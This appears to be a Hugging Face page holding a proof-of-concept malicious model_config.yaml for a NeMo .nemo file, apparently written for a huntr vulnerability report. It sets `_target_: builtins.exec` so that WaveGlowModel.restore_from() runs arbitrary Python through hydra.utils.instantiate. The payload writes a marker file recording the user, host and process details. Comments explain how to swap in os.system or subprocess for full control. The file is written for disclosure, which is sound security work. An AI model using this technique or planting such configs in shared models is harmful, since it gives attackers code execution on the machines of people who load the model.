nemo-restore-from-rce-poc / model_config.yaml
Havzer's picture
Upload model_config.yaml with huggingface_hub
3cf0da3 verified
Raw
History Blame Contribute Delete
2.29 kB
# ===========================================================================
# MALICIOUS model_config.yaml -- this is the file packed inside the .nemo
# ---------------------------------------------------------------------------
# A real attacker ships this verbatim inside an innocent-looking vocoder
# ".nemo" on the Hugging Face Hub. When a victim calls the documented
# WaveGlowModel.restore_from(<file>.nemo) API, NeMo 2.7.3 does:
#
# conf = OmegaConf.load("model_config.yaml") # this file (untrusted)
# model = WaveGlowModel.from_config_dict(conf) # -> WaveGlowModel(cfg=conf)
# -> WaveGlowModel.__init__ (waveglow.py:49):
# instantiate(self._cfg.preprocessor) # RAW hydra.utils.instantiate
#
# hydra.utils.instantiate() resolves and CALLS `_target_` with `_args_`.
# There is NO safe_instantiate / allow-list on this path, so any callable
# (builtins.exec, os.system, subprocess.call, ...) runs at load time.
#
# The payload below is deliberately benign: it prints a banner and writes a
# marker file into the OS temp dir. Swap `_target_`/`_args_` for proof that
# an attacker controls the call.
# ===========================================================================
sigma: 1.0
# ---- THE SINK: instantiate(self._cfg.preprocessor) at waveglow.py:49 ----
preprocessor:
_target_: builtins.exec
_args_:
- |
import os, tempfile, getpass, platform
_msg = "NeMo .nemo restore_from() ARBITRARY CODE EXECUTION (huntr PoC)"
_marker = os.path.join(tempfile.gettempdir(), "PWNED_NEMO_HF.txt")
with open(_marker, "w") as _f:
_f.write(_msg + "\n")
_f.write("user=" + getpass.getuser() + " host=" + platform.node() + "\n")
_f.write("pid=" + str(os.getpid()) + " cwd=" + os.getcwd() + "\n")
print("\n" + "=" * 72)
print("[PWNED] " + _msg)
print(" code executed INSIDE WaveGlowModel.restore_from() __init__")
print(" (hydra.utils.instantiate on untrusted model_config.yaml)")
print(" marker written to: " + _marker)
print("=" * 72 + "\n")
# second raw sink at waveglow.py:50 (instantiate(self._cfg.waveglow));
# left empty -- the preprocessor payload above has already executed by now.
waveglow: {}